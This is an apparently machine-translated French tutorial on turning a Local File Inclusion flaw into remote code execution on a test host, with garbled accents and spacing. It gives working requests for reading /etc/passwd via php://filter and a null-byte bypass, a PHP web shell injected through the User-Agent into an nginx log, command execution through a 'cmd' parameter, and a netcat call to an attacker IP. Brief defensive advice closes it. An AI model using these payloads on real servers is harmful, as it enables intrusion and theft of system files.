Sécurité Web: du LFI au RCE





L'inclusion de fichiers locaux (LFI) est la possibilitĂ© d'utiliser des fichiers de serveur local. La vulnĂ©rabilitĂ© permet Ă  un utilisateur distant d'accĂ©der Ă  des fichiers arbitraires sur le serveur Ă  l'aide d'une requĂȘte spĂ©cialement conçue, y compris contenant potentiellement des informations confidentielles. Aujourd'hui, nous allons vous dire comment un attaquant utilisant cette faille peut exĂ©cuter des commandes sur un serveur distant.



Une vulnérabilité similaire se produit si l'implémentation d'une application Web utilise des fonctions non sécurisées, par exemple, include , qui vous permet d'inclure du contenu dans une page à partir d'un fichier local. Dans notre cas, cela ressemble à ceci:







Grùce à la ligne include («$ file») , la valeur du fichier de paramÚtres GET sera incluse dans le contenu de la page . Maintenant, en utilisant cette vulnérabilité, nous retournerons les fichiers locaux que nous spécifions dans le paramÚtre.







L'article est Ă  titre informatif uniquement. N'enfreignez pas la loi.


Détection de vulnérabilité



Comment trouver une vulnĂ©rabilitĂ©? Si vous spĂ©cifiez dans un paramĂštre potentiellement vulnĂ©rable l'inclusion d'un fichier local, par exemple, un index avec une extension quelconque, et que ce fichier s'ouvrira, alors nous pouvons certainement dire que le paramĂštre est responsable de l'Ă©change du fichier. Cela peut ĂȘtre fait manuellement ou Ă  l'aide de divers outils automatisĂ©s, par exemple, le scanner de vulnĂ©rabilitĂ© Wapiti , qui a Ă©tĂ© mentionnĂ© dans l'un de nos articles , ou l'outil spĂ©cialisĂ© LFISuite , qui est spĂ©cialement conçu pour rechercher et exploiter les vulnĂ©rabilitĂ©s LFI.











Quels piĂšges peut-il y avoir? Par exemple, la prĂ©sence d'un filtrage qui remplacera l'extension de fichier Ă  la fin de la ligne, par exemple, .php . Ainsi, lorsque nous essayons d'inclure le fichier / etc / passwd dans la page, nous recevrons file = / etc / passwd.php dans la barre d'adresse , et le contenu de ce fichier ne sera pas affichĂ© sur la page, puisque le fichier n'existe pas. Mais un tel filtre peut ĂȘtre contournĂ© en utilisant le soi-disant octet zĂ©ro, qui "coupera" tout ce qui vient aprĂšs. Le fait est que toute la barre d'adresse lors de la transmission d'une requĂȘte HTTP est codĂ©e en URL-encodage, et dans ce codage, l'octet zĂ©ro ressemble Ă  % 00 . Ainsi, la ligne /etc/passwd%00.phpsera converti en / etc / passwd . Cependant, il faut noter que ce problĂšme est assez bien connu et a Ă©tĂ© corrigĂ© dans PHP 5.3+.



Une autre option pour contourner le filtrage est d'utiliser le filtre php . Dans le paramĂštre responsable de l'inclusion des fichiers, nous Ă©crivons non seulement le chemin du fichier que nous voulons inclure, mais le chemin du fichier Ă  l'aide de cette fonction. Maintenant, la demande que nous allons envoyer ressemble Ă :



http://site.test.lan/index2.php?file=php://filter/convert.base64-encode/resource=/etc/passwd
      
      











Et maintenant, sur la page du navigateur, nous ne verrons pas le contenu du fichier, mais sa source encodĂ©e en base64 , qui peut ĂȘtre dĂ©codĂ©e: nous avons











compris les principaux points de la vulnérabilité LFI, et maintenant nous comprenons que lors de son exploitation, il est possible de lire un fichier local sur un serveur distant. Mais LFI a une fonctionnalité intéressante qui vous permet non seulement de lire des fichiers locaux, mais aussi de compromettre le serveur.



Empoisonner le journal du serveur Web



Je pense qu’il vaut la peine de mentionner tout de suite que la vulnĂ©rabilitĂ© n’est pas nouvelle, mais qu’elle est toujours rencontrĂ©e et peut constituer une menace sĂ©rieuse pour la sĂ©curitĂ© d’un serveur Web. Lors de l'interaction avec une application Web, toutes nos demandes sont enregistrĂ©es dans les journaux du serveur Web, en rĂšgle gĂ©nĂ©rale, il s'agit des fichiers /var/log/nginx/access.log ou /var/log/nginx/error.log si, par exemple, un serveur Web est utilisĂ© Nginx , mais les noms des fichiers finaux, bien sĂ»r, peuvent diffĂ©rer.







Maintenant, en faisant une demande spĂ©ciale, nous allons crĂ©er un shell Web sur le serveur, en l'Ă©crivant dans le fichier access.log . Pour ce faire, modifiez l'en - tĂȘte User-Agent en y ajoutant <? systĂšme php ($ _ GET [cmd]); ?> . Pour envoyer une demande, nous utiliserons l'outil Burp Suite , qui vous permet d'intercepter et de modifier les demandes en temps rĂ©el. Pourquoi User-Agent a- t-il Ă©tĂ© utilisĂ© ? Comme mentionnĂ© prĂ©cĂ©demment, la barre d'adresse encode les informations Ă  l'aide de l'URL-encoder, par consĂ©quent, pour transfĂ©rer du code php, vous devez utiliser des en-tĂȘtes, et comme l' agent utilisateur est exactement Ă©crit dans le access.log , nous l'utiliserons. Le web shell est Ă©crit et prĂȘt Ă  l'emploi: Lors de l'accĂšs au journal de l'application web en utilisant la vulnĂ©rabilitĂ© LFI, son contenu sera lu, et le script <? Php system ($ _ GET [cmd]); ?>















- exécuter, ce qui permettra d'utiliser la variable " cmd " pour exécuter des commandes sur le serveur:



http://site.test.lan/index2.php?file=/var/log/nginx/access.log&cmd=ls /
      
      











Contrairement Ă  LFI, oĂč lire le contenu d'un fichier, vous devez spĂ©cifier le chemin complet vers celui-ci, dans le second cas, des commandes arbitraires sont exĂ©cutĂ©es sur le serveur. Cela signifie qu'en plus de lire les fichiers du serveur, nous pouvons y accĂ©der. Pour ce faire, nous spĂ©cifions dans le paramĂštre cmd la commande de lancement de Netcat pour communiquer avec le serveur de l'attaquant, c'est-Ă -dire avec nous:



http://site.test.lan/index2.php?file=/var/log/nginx/access.log&cmd=nc 192.168.0.135 4455
      
      











Recommandations



  • vĂ©rifier rĂ©guliĂšrement la sĂ©curitĂ© de l'application Web afin de prĂ©venir les vulnĂ©rabilitĂ©s;
  • ajoutez la ligne <? php exit (1) au journal du serveur Web ; ?> . Ce script empĂȘchera toute tentative d'exĂ©cuter du code php dans ce fichier (ce n'est pas une bonne idĂ©e, mais cela fonctionne, au moins jusqu'Ă  ce que rsyslog recrĂ©e le fichier journal);



  • utilisez WAF, qui bloquera une requĂȘte malveillante, l'empĂȘchant de s'exĂ©cuter sur le serveur Web.



All Articles